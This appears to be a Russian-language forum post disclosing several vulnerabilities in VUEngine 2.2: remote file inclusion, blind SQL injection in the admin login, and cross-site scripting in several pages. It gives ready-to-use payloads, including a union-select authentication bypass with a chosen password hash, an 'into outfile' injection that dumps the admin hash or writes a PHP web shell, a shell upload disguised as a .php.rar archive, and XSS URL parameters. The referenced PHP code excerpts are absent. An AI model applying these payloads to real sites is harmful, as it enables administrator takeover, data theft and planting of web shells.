![]() |
VUEngine 2.2 Multiple Vulnerabilities
VUEngine 2.2 Multiple Vulnirables
1) Remote File Inclusion Файл: export.php PHP код:
2) Blind SQL-Injection Needed: magic_quotes_gpc=off Файл: /admin/login.php PHP код:
I) Есть возможность обойти авторизацию в поле логин пишем blabla' union select 'admin','1e9b5660ab6ac33664aec0eb59566fd0','2 в поле пароль пишем пасс, хеш которого написали в поле логин, т.е есть возможность залогинится в админке с любым пасом, зная только логин админа II) Ну соответсвенно при наличие file_priv и папки на запись можно узнать хеш админа в поле логин пишем admin' into outfile '/tmp/xek.txt пароль любой или залить шелл admin' union select 0xshellcode,2,3 into outfile '/tmp/shell.php Обращаю внимание что во всех случаях в конце кавычку ставить не надо, её подставит сам скрипт =) В админке шелл льётся через загрузку архивов, грузим shell.php.rar, при удачном раскладе апач обработает файл как php-скрипт 3) XSS Файл: export.php PHP код:
http://localhost/vu/export.php?bgcolor=</tr>{XSS} http://localhost/vu/export.php?txtcolor=">{XSS} Файл: /admin/mod.php Файл: /admin/full.php Файл: /admin/author.php Код не привожу. Массивы $lnk и $ltxt подвержены xss Пара примеров http://localhost/vu/admin/mod.php?ltxt[1]={XSS} http://localhost/vu/admin/mod.php?lnk[16]={XSS} |
| Время: 18:27 |